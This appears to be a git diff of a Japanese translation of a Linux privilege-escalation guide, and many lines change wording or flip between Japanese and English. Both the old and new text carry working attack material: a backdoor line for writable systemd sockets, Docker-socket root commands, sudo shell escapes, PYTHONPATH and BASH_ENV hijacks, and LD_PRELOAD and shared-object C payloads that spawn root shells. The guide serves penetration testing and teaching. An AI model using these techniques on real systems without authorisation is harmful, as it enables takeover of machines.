-したがって、この権限を悪用するには次のことが必要です: +したがって、この権限を悪用するには、次のことが必要です: -- systemd unit(例: `.service`)のうち、**書き込み可能なバイナリを実行している**ものを見つける -- 相対パスを実行している systemd unit を見つけ、かつ **systemd PATH** に対して**書き込み権限**がある(その実行ファイルを偽装するため) +- systemd unit(例: `.service`)で、**書き込み可能なバイナリを実行している**ものを見つける +- 相対パスを実行している systemd unit を見つけ、かつその実行ファイルを偽装するために **書き込み権限** を **systemd PATH** に対して持っていること(その実行ファイルを偽装するため) -**`man systemd.timer` でタイマーについて詳しく学べます。** +**Learn more about timers with `man systemd.timer`.** -### **タイマーの有効化** +### **Enabling Timer** -タイマーを有効化するには root 権限が必要で、次を実行します: +To enable a timer you need root privileges and to execute: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +注意: **timer** は `/etc/systemd/system/.wants/.timer` にシンボリックリンクを作成することで**有効化**されます。 ## ソケット -Unix Domain Sockets (UDS) はクライアント-サーバモデル内で同一または別のマシン間での**プロセス間通信**を可能にします。これらは標準的な Unix ディスクリプタファイルを利用してコンピュータ間の通信を行い、`.socket` ファイルを通じて設定されます。 +Unix Domain Sockets (UDS) は、クライアント-サーバモデル内で同一または異なるマシン間の**プロセス間通信**を可能にします。これらはコンピュータ間通信のために標準の Unix ディスクリプタファイルを利用し、`.socket` ファイルを通じて設定されます。 -ソケットは `.socket` ファイルを使用して設定できます。 +Sockets は `.socket` ファイルを使って設定できます。 **Learn more about sockets with `man systemd.socket`.** このファイル内では、いくつかの興味深いパラメータを設定できます: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは種類が異なりますが、要約するとソケットがどこでリッスンするか(AF_UNIX ソケットファイルのパス、IPv4/6 および/またはリッスンするポート番号など)を**示す**ために使われます。 -- `Accept`: ブール引数を取ります。`true` の場合、**受信ごとに service インスタンスが生成され**、接続ソケットのみがそのインスタンスに渡されます。`false` の場合、すべてのリスニングソケット自体が**起動された service ユニットに渡され**、すべての接続に対して単一の service ユニットのみが生成されます。この値はデータグラムソケットや FIFO では無視され、これらでは単一の service ユニットが無条件にすべての受信トラフィックを処理します。**デフォルトは false**です。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方法で実装することが推奨されます。 -- `ExecStartPre`, `ExecStartPost`: 1つ以上のコマンドラインを取り、それぞれリスニング **ソケット**/FIFOs が**作成**およびバインドされる前または後に**実行**されます。コマンドラインの最初のトークンは絶対パスのファイル名でなければならず、その後にプロセスの引数が続きます。 -- `ExecStopPre`, `ExecStopPost`: リスニング **ソケット**/FIFOs がクローズされ削除される前または後にそれぞれ**実行**される追加の**コマンド**です。 -- `Service`: **incoming traffic** に対して**アクティブ化する** `service` ユニット名を指定します。この設定は `Accept=no` のソケットでのみ許可されます。デフォルトではソケットと同じ名前の service(サフィックスが置き換えられたもの)が使用されます。ほとんどの場合、このオプションを使用する必要はありません。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは種類が異なりますが、要点としてはソケットがどこでリッスンするか(AF_UNIX ソケットファイルのパス、リッスンする IPv4/6 および/またはポート番号など)を**示す**ために使われます。 +- `Accept`: 真偽値を取ります。**true** の場合、**各着信接続ごとにサービスインスタンスが生成され**、その接続ソケットのみが渡されます。**false** の場合、すべてのリッスンソケット自体が**起動されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットのみが生成されます。この値は、単一のサービスユニットが無条件にすべての着信トラフィックを処理する datagram ソケットおよび FIFO では無視されます。**デフォルトは false**。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方法でのみ書くことが推奨されます。 +- `ExecStartPre`, `ExecStartPost`: 1つ以上のコマンドラインを取り、リッスンする**ソケット**/FIFO がそれぞれ**作成され**バインドされる**前**または**後**に実行されます。コマンドラインの最初のトークンは絶対パスのファイル名でなければならず、その後にプロセスの引数が続きます。 +- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFO がそれぞれ**閉じられ**削除される**前**または**後**に実行される追加の**コマンド**です。 +- `Service`: **着信トラフィック**時に**アクティブ化する** **service** ユニット名を指定します。この設定は Accept=no のソケットでのみ許可されます。デフォルトではソケットと同じ名前のサービス(サフィックスを置き換えたもの)になります。ほとんどの場合、このオプションを使用する必要はありません。 -### 書き込み可能な .socket ファイル +### Writable .socket files -もし **書き込み可能な** `.socket` ファイルを見つけたら、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を**追加**できます。そうすれば backdoor はソケットが作成される前に実行されます。したがって、**おそらくマシンの再起動を待つ必要があるでしょう。**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +もし**書き込み可能な** `.socket` ファイルを見つけたら、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を**追加**すると、ソケットが作成される前に backdoor が実行されます。したがって、**おそらくマシンを再起動するまで待つ必要があります。**\ +_システムがその socket ファイル構成を使用していなければ、backdoor は実行されません_ -### 書き込み可能なソケット +### Writable sockets -もし **書き込み可能なソケット** を識別したら(ここでは設定ファイルの `.socket` ではなく Unix ソケットのことを指します)、そのソケットと**通信**でき、脆弱性を悪用できる可能性があります。 +もし**書き込み可能なソケット**を**発見**した場合(ここでは設定の `.socket` ファイルではなく Unix ソケット自体の話です)、そのソケットと**通信する**ことができ、場合によっては脆弱性を突くことも可能です。 ### Unix ソケットの列挙 ```bash @@ -537,26 +537,26 @@ socket-command-injection.md ### HTTP sockets -Note that there may be some **sockets listening for HTTP** requests (_.socket files のことではなく、unix sockets として動作するファイルについて話しています_). これを確認するには: +いくつかの **sockets listening for HTTP** requests が存在する場合があることに注意してください。(_.socket files のことではなく、unix sockets として動作するファイルのことを指しています_)。次のコマンドで確認できます: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -ソケットが **HTTP リクエストに応答する** 場合、**通信** が可能になり、場合によっては **脆弱性を悪用** できることがあります。 +If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. -### 書き込み可能な Docker ソケット +### 書き込み可能な Docker Socket -Docker ソケット(多くの場合 `/var/run/docker.sock` にあります)は、保護すべき重要なファイルです。デフォルトでは `root` ユーザーと `docker` グループのメンバーが書き込み可能です。このソケットへの書き込み権を持つことは privilege escalation に繋がる可能性があります。以下に、この方法がどのように行われるか、および Docker CLI が利用できない場合の代替手段を示します。 +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. デフォルトでは `root` ユーザーと `docker` グループのメンバーが書き込み可能です。This socket への write access を持つことは privilege escalation に繋がる可能性があります。以下では、これがどのように行われるかと、Docker CLI が利用できない場合の代替手段について説明します。 #### **Privilege Escalation with Docker CLI** -Docker ソケットへの書き込みアクセスがある場合、以下のコマンドを使って privilege escalation が可能です: +If you have write access to the Docker socket, you can escalate privileges using the following commands: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -これらのコマンドは、ホストのファイルシステムに対して root 権限でアクセスできるコンテナを実行することを可能にします。 +これらのコマンドは、ホストのファイルシステムに対して root-level アクセスを持つ container を実行することを可能にします。 -#### **Docker API を直接使用する場合** +#### **Docker API を直接使用する** Docker CLI が利用できない場合でも、Docker ソケットは Docker API と `curl` コマンドを使って操作できます。 @@ -566,19 +566,19 @@ Docker CLI が利用できない場合でも、Docker ソケットは Docker API curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** ホストのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 +2. **Create a Container:** ホストのルートディレクトリをマウントする container を作成するリクエストを送信します。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -作成したコンテナを起動します: +新しく作成した container を起動します: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat` を使ってコンテナへの接続を確立し、その中でコマンドを実行できるようにします。 +3. **Attach to the Container:** `socat` を使って container に接続を確立し、その中でコマンドを実行できるようにします。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -588,13 +588,13 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` 接続を設定した後、コンテナ内でホストのファイルシステムに対する root 権限で直接コマンドを実行できます。 +`socat` 接続を設定した後、ホストのファイルシステムに対する root-level アクセスで container 内で直接コマンドを実行できます。 -### Others +### その他 -docker ソケットに対して書き込み権限がある(**group `docker` に属している**)場合は、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) が存在することに注意してください。もし [**docker API がポートで待ち受けている** と、そちらを侵害できる可能性もあります](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +docker ソケットに対して書き込み権限があり、**グループ `docker` のメンバーである** 場合は [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) があります。もし [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) であれば、それを侵害できる可能性もあります。 -以下で、docker からの脱出や悪用による権限昇格のさらに多くの方法を確認してください: +docker からのブレイクアウトや特権昇格に悪用するための他の方法については、以下を確認してください: {{#ref}} @@ -603,7 +603,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -もし **`ctr`** コマンドを使用できることが判明した場合、以下のページを参照してください。**権限昇格に悪用できる可能性があります**: +もし **`ctr`** コマンドを使用できる場合は、次のページを参照してください(**you may be able to abuse it to escalate privileges**): {{#ref}} @@ -612,7 +612,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -もし **`runc`** コマンドを使用できることが判明した場合、以下のページを参照してください。**権限昇格に悪用できる可能性があります**: +もし **`runc`** コマンドを使用できる場合は、次のページを参照してください(**you may be able to abuse it to escalate privileges**): {{#ref}} @@ -621,15 +621,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus は高度な **inter-Process Communication (IPC) system** で、アプリケーション同士が効率的にやり取りやデータ共有を行えるようにします。モダンな Linux システムを念頭に設計されており、さまざまな形態のアプリケーション間通信に対して堅牢なフレームワークを提供します。 +D-Bus は高度な **inter-Process Communication (IPC) system** で、アプリケーションが効率的に相互作用しデータを共有することを可能にします。モダンな Linux システムを想定して設計されており、様々な形式のアプリケーション間通信のための堅牢なフレームワークを提供します。 -このシステムは多用途で、プロセス間のデータ交換を強化する基本的な IPC をサポートしており、拡張された UNIX domain sockets に似た役割を果たします。さらに、イベントやシグナルのブロードキャストを支援し、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetooth デーモンからの着信に関するシグナルがミュージックプレーヤーにミュートを促す、などのユーザー体験向上が可能です。加えて、D-Bus はリモートオブジェクトシステムをサポートしており、サービス要求やメソッド呼び出しを簡素化して、従来は複雑だったプロセスを合理化します。 +このシステムは柔軟で、プロセス間のデータ交換を強化する基本的な IPC をサポートし、**enhanced UNIX domain sockets** を彷彿とさせます。さらに、イベントやシグナルのブロードキャストを助け、システムコンポーネント間のシームレスな統合を促進します。例えば、着信通話に関する Bluetooth デーモンからのシグナルが音楽プレーヤーをミュートするよう促すことで、ユーザー体験が向上します。加えて、D-Bus はリモートオブジェクトシステムをサポートしており、アプリケーション間のサービス要求やメソッド呼び出しを簡素化し、従来は複雑であった処理を効率化します。 -D-Bus は **allow/deny model** に基づいて動作し、ポリシールールのマッチの累積的効果に基づいてメッセージ権限(メソッド呼び出し、シグナル送出など)を管理します。これらのポリシーはバスとのやり取りを指定し、これらの権限を悪用することで権限昇格が発生する可能性があります。 +D-Bus は **allow/deny model** に基づいて動作し、ポリシールールの一致の累積効果に基づいてメッセージの権限(メソッド呼び出し、シグナルの送出など)を管理します。これらのポリシーはバスとのやり取りを指定し、これらの権限を悪用することで privilege escalation を引き起こす可能性があります。 -例として、/etc/dbus-1/system.d/wpa_supplicant.conf にあるポリシーが挙げられます。これは root ユーザーが fi.w1.wpa_supplicant1 を所有し、送信し、受信する権限を持つことを詳細に示しています。 +そのようなポリシーの例が `/etc/dbus-1/system.d/wpa_supplicant.conf` に示されており、root ユーザーが `fi.w1.wpa_supplicant1` の所有、送信、および受信の権限を持つことが詳述されています。 -ユーザーやグループが指定されていないポリシーは普遍的に適用され、"default" コンテキストのポリシーは他の特定のポリシーでカバーされていないすべてに適用されます。 +ユーザーやグループが指定されていないポリシーは全体に適用され、"default" コンテキストのポリシーは他の特定のポリシーでカバーされないものすべてに適用されます。 ```xml @@ -638,7 +638,7 @@ D-Bus は **allow/deny model** に基づいて動作し、ポリシールール ``` -**ここで D-Bus communication を enumerate と exploit する方法を学んでください:** +**ここで D-Bus 通信 を enumerate および exploit する方法を学ぶ:** {{#ref}} @@ -647,7 +647,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **ネットワーク** -ネットワークを enumerate してマシンの位置を特定するのはいつも興味深い。 +ネットワークを enumerate してマシンの位置を把握するのは常に興味深い。 ### 一般的な enumeration ```bash @@ -672,24 +672,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### 開いているポート +### Open ports -アクセスする前に操作できなかったマシン上で動作しているネットワークサービスは常に確認してください: +アクセスする前に、事前にやり取りできなかったそのマシン上で実行されている network services を必ず確認してください: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -traffic を sniff できるか確認してください。できれば、いくつかの credentials を取得できる可能性があります。 +sniff traffic ができるか確認してください。できる場合、いくつかの credentials を取得できる可能性があります。 ``` timeout 1 tcpdump ``` -## Users +## ユーザー -### Generic Enumeration +### 一般的な列挙 -自分が**who**で、どの**privileges**を持っているか、システムにどの**users**が存在し、どのアカウントが**login**でき、どのアカウントが**root privileges**を持っているかを確認してください: +自分が**誰**で、どの**権限**を持っているか、システムにどの**ユーザー**が存在するか、どのユーザーが**ログイン**できるか、どのユーザーが**root 権限**を持っているかを確認する: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -711,14 +711,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### 大きな UID -一部のLinuxバージョンには、**UID > INT_MAX** のユーザーが権限昇格できてしまうバグが存在しました。詳細: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**悪用するには**: **`systemd-run -t /bin/bash`** +一部の Linux バージョンは、**UID > INT_MAX** のユーザーが特権を昇格できるバグの影響を受けていました。More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### グループ -root権限を与える可能性のある**あるグループのメンバー**かどうか確認してください: +root 権限を付与する可能性のあるグループの**メンバーかどうか**を確認してください: {{#ref}} @@ -727,7 +727,7 @@ interesting-groups-linux-pe/ ### クリップボード -可能であればクリップボードの中に興味深いものがないか確認してください +可能であればクリップボード内に興味深いものがないか確認してください ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -744,27 +744,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 既知のパスワード -If you **知っているパスワードがある場合** of the environment **そのパスワードを使って各ユーザーにログインしてみてください**. +環境の **任意のパスワードを知っている場合は**、そのパスワードを使って**各ユーザーとしてログインしてみてください。** ### Su Brute -大量のノイズを出すことを気にせず、かつそのコンピュータに `su` と `timeout` バイナリが存在する場合、[su-bruteforce](https://github.com/carlospolop/su-bruteforce) を使ってユーザーをブルートフォースすることができます。\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザーのブルートフォースも試みます。 +大量のノイズを出すことを気にせず、`su` と `timeout` バイナリが対象ホストに存在する場合は、[su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザーを brute-force することも試みます。 -## 書き込み可能な PATH の悪用 +## Writable PATH の悪用 ### $PATH -もし $PATH のいずれかのフォルダに**書き込みできる**ことが分かれば、別のユーザー(理想的には root)が実行するコマンド名で、かつあなたの書き込み可能なフォルダより前にあるフォルダから**読み込まれない**ように、書き込み可能なフォルダ内に**バックドアを作成する**ことで権限を昇格できる可能性があります。 +$PATH のあるフォルダに**書き込みができることが分かった場合**、その書き込み可能なフォルダに別のユーザー(理想的には root)によって実行されるコマンド名と同じ名前の**backdoor を作成する**ことで権限を昇格できる可能性があります。ただし、そのコマンドが**$PATH 内であなたの書き込みフォルダより前にあるフォルダから読み込まれない**ことが条件です。 ### SUDO and SUID -sudo を使って実行できるコマンドが許可されている場合や、コマンドが suid ビットを持っている場合があります。以下で確認してください: +sudo を用いて実行できるコマンドがあるか、あるいはコマンドが suid ビットを持っている可能性があります。次のように確認してください: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -一部の **予期しないコマンドは、ファイルの読み取りや書き込み、さらにはコマンドの実行を可能にします。** 例えば: +いくつかの**予期しないコマンドはファイルを読み書きしたり、コマンドを実行したりすることさえあります。** 例えば: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -775,37 +775,37 @@ less>! ``` ### NOPASSWD -Sudoの設定により、ユーザーはパスワードを知らなくても別のユーザーの権限でコマンドを実行できることがある。 +Sudoの設定により、ユーザーはパスワードを知らなくても別のユーザーの権限でコマンドを実行できる場合がある。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -この例ではユーザー `demo` が `root` として `vim` を実行できます。root ディレクトリに ssh key を追加するか、`sh` を呼び出すことでシェルを取得するのは簡単です。 +この例では、ユーザー `demo` が `root` として `vim` を実行できます。root ディレクトリに ssh キーを追加するか、`sh` を呼び出すことで shell を取得するのは容易です。 ``` sudo vim -c '!sh' ``` ### SETENV -このディレクティブは、何かを実行する際に**環境変数を設定する**ことを許可します: +このディレクティブにより、ユーザーは何かを実行する際に **set an environment variable** ことができます: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -この例は、**HTB machine Admirer をベースにした**もので、スクリプトが root として実行されている間に任意の python ライブラリを読み込むために **PYTHONPATH hijacking** に**脆弱**でした: +この例は、**HTB machine Admirerをベースにした**もので、スクリプトをrootとして実行している間に任意のPythonライブラリをロードできる**PYTHONPATH hijacking**に**脆弱でした**: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV preserved via sudo env_keep → root shell +### BASH_ENV が sudo env_keep により保持される → root shell If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. -- Why it works: 非対話シェルでは、Bash が `$BASH_ENV` を評価し、ターゲットスクリプトを実行する前にそのファイルを読み込みます。多くの sudo ルールはスクリプトやシェルラッパーの実行を許可します。`BASH_ENV` が sudo によって保持されている場合、あなたのファイルは root 権限で読み込まれます。 +- なぜ動くか: 非対話シェルでは、Bash は `$BASH_ENV` を評価し、ターゲットスクリプトを実行する前にそのファイルを source します。多くの sudo ルールはスクリプトやシェルラッパーの実行を許可します。sudo が `BASH_ENV` を保持している場合、あなたのファイルは root 権限で source されます。 -- Requirements: -- 実行できる sudo ルール(非対話的に `/bin/bash` を呼び出すターゲット、または任意の bash スクリプト)。 -- `BASH_ENV` が `env_keep` に存在すること(`sudo -l` で確認)。 +- 要件: +- 実行可能な sudo ルール(非対話的に `/bin/bash` を呼び出す任意のターゲット、または任意の bash スクリプト)。 +- `BASH_ENV` が `env_keep` に含まれていること(`sudo -l` で確認)。 - PoC: ```bash @@ -818,13 +818,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - ハードニング: -- `BASH_ENV`(および `ENV`)を `env_keep` から削除し、`env_reset` を推奨。 -- sudo で許可されたコマンドには shell wrappers を避け、最小限のバイナリを使用する。 -- preserved env vars が使われる場合に sudo の I/O ロギングとアラートを検討する。 +- `env_keep` から `BASH_ENV`(および `ENV`)を削除し、`env_reset` を推奨する。 +- sudo で許可されたコマンドに対する shell wrappers を避け、可能な限り最小のバイナリを使用する。 +- 保持された環境変数が使用された場合の sudo の I/O ロギングとアラートを検討する。 -### Sudo 実行のバイパス経路 +### Sudo 実行バイパスの経路 -**ジャンプ**して他のファイルを読む、または **symlinks** を使う。例えば sudoers ファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** で他のファイルを読むか、**symlinks** を使用する。例えば sudoers ファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -834,46 +834,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -もし **wildcard** が使われている場合 (\*), さらに簡単になります: +もし**wildcard**が使用されている(\*)場合は、さらに簡単です: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **対策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo コマンド/SUID バイナリ(コマンドのパスが指定されていない場合) +### Sudo command/SUID バイナリ(コマンドのパスがない場合) -もし**sudo権限**が単一のコマンドに対して**パスを指定せずに**与えられている場合:_hacker10 ALL= (root) less_、PATH変数を変更することでこれを悪用できます。 +もし **sudo permission** が単一のコマンドに対してパスを指定せずに与えられている場合: _hacker10 ALL= (root) less_、PATH variable を変更することでこれを悪用できます。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -このテクニックは、**suid** バイナリ **がパスを指定せずに別のコマンドを実行する場合(怪しい SUID バイナリの中身は常に** _**strings**_ **で確認してください)**。 +このテクニックは、**suid** バイナリが**パスを指定せずに別のコマンドを実行する場合(常に _**strings**_ で奇妙な SUID バイナリの内容を確認してください)**にも使用できます。 [Payload examples to execute.](payloads-to-execute.md) -### SUID binary にコマンドのパスがある場合 +### SUID バイナリ(コマンドのパス指定あり) -もし**suid** バイナリが**コマンドのパスを指定して別のコマンドを実行している**場合、suid ファイルが呼び出しているコマンド名で関数を作成してそれを**export**してみてください。 +もし**suid** バイナリが**パスを指定して別のコマンドを実行する**場合、suid ファイルが呼び出しているコマンド名で**export a function** を作成してエクスポートしてみることができます。 -例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出している場合、そのコマンド名で関数を作成してexportしてみてください: +例えば、もし suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、コマンド名に対応する関数を作成して export してみてください: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -その後、suid binary を呼び出すと、この関数が実行されます。 +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -環境変数 **LD_PRELOAD** は、標準 C ライブラリ(`libc.so`)を含め、他のすべてのライブラリより前にローダによって読み込まれる1つ以上の共有ライブラリ(.so ファイル)を指定するために使用されます。この処理はライブラリのプリロードとして知られています。 +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -しかし、この機能が悪用されるのを防ぎ、特に **suid/sgid** 実行ファイルに対してシステムのセキュリティを維持するために、システムはいくつかの条件を課します: +However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: -- 実ユーザー ID (_ruid_) が実効ユーザー ID (_euid_) と一致しない実行ファイルに対しては、ローダは **LD_PRELOAD** を無視します。 -- suid/sgid を持つ実行ファイルの場合、プリロードされるのは標準パスにあり、かつ suid/sgid であるライブラリのみです。 +- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). +- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. -`sudo` でコマンドを実行でき、かつ `sudo -l` の出力に **env_keep+=LD_PRELOAD** が含まれている場合、権限昇格が発生する可能性があります。この設定により、`sudo` 経由でコマンドを実行しても **LD_PRELOAD** 環境変数が保持され認識されるため、任意のコードが昇格した権限で実行される可能性があります。 +Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. ``` Defaults env_keep += LD_PRELOAD ``` @@ -890,17 +890,17 @@ setuid(0); system("/bin/bash"); } ``` -それから **それをコンパイル** するには: +次に **それをコンパイル** してください: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最後に、**escalate privileges** を行う +最後に、**escalate privileges** を実行する。 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 同様の privesc は、攻撃者が **LD_LIBRARY_PATH** 環境変数を制御している場合に悪用される可能性があります。攻撃者がライブラリの検索パスを制御できるためです。 +> 同様の privesc は、攻撃者が **LD_LIBRARY_PATH** env variable を制御している場合に悪用される可能性があります。攻撃者はライブラリが検索されるパスを制御できるためです。 ```c #include #include @@ -922,13 +922,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -通常とは異なる見た目の**SUID**権限を持つバイナリに遭遇した場合、**.so**ファイルを正しく読み込んでいるかどうかを確認するのが良い習慣です。これは次のコマンドを実行して確認できます: +通常と異なるように見える**SUID**権限を持つバイナリに遭遇した場合、正しく**.so**ファイルを読み込んでいるか確認するのが良い習慣です。これを確認するには、次のコマンドを実行します: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例えば、エラー _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ に遭遇した場合、exploitation の可能性が示唆されます。 +例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_のようなエラーに遭遇した場合、悪用の可能性が示唆されます。 -これを exploit するには、C ファイル、例えば _"/path/to/.config/libcalc.c"_ を作成し、以下のコードを含めます: +これを悪用するには、Cファイル、例えば_"/path/to/.config/libcalc.c"_を作成し、次のコードを含めます: ```c #include #include @@ -939,13 +939,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -このコードは、コンパイルして実行すると、ファイル権限を操作し、特権を持つシェルを実行することで権限を昇格させることを目的としています。 +このコードは、コンパイルして実行すると、ファイルのパーミッションを操作して権限を昇格させ、昇格した権限でシェルを実行することを目的としています。 -上記の C ファイルを共有オブジェクト (.so) ファイルにコンパイルするには: +上記のCファイルを共有オブジェクト (.so) ファイルにコンパイルするには、次のようにします: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最後に、影響を受けた SUID バイナリを実行すると exploit が発動し、システムの侵害につながる可能性があります。 +最後に、影響を受けた SUID バイナリを実行すると exploit が発動し、システムが侵害される可能性があります。 ## Shared Object Hijacking ```bash @@ -957,7 +957,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -書き込み可能なフォルダからライブラリを読み込む SUID バイナリを見つけたので、そのフォルダに必要な名前でライブラリを作成しましょう: +書き込み可能な folder から library をロードする SUID binary を見つけたので、その folder に必要な名前の library を作成しましょう: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -970,17 +970,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -次のようなエラーが表示された場合 +次のようなエラーが発生した場合 ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -that means that the library you have generated need to have a function called `a_function_name`. +つまり、生成したライブラリには `a_function_name` という名前の関数が必要です。 ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command. +[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できる Unix バイナリをまとめたキュレートされたリストです。 [**GTFOArgs**](https://gtfoargs.github.io/) は同様のもので、コマンドに対して**引数のみを注入できる**場合のケース向けです。 -The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. 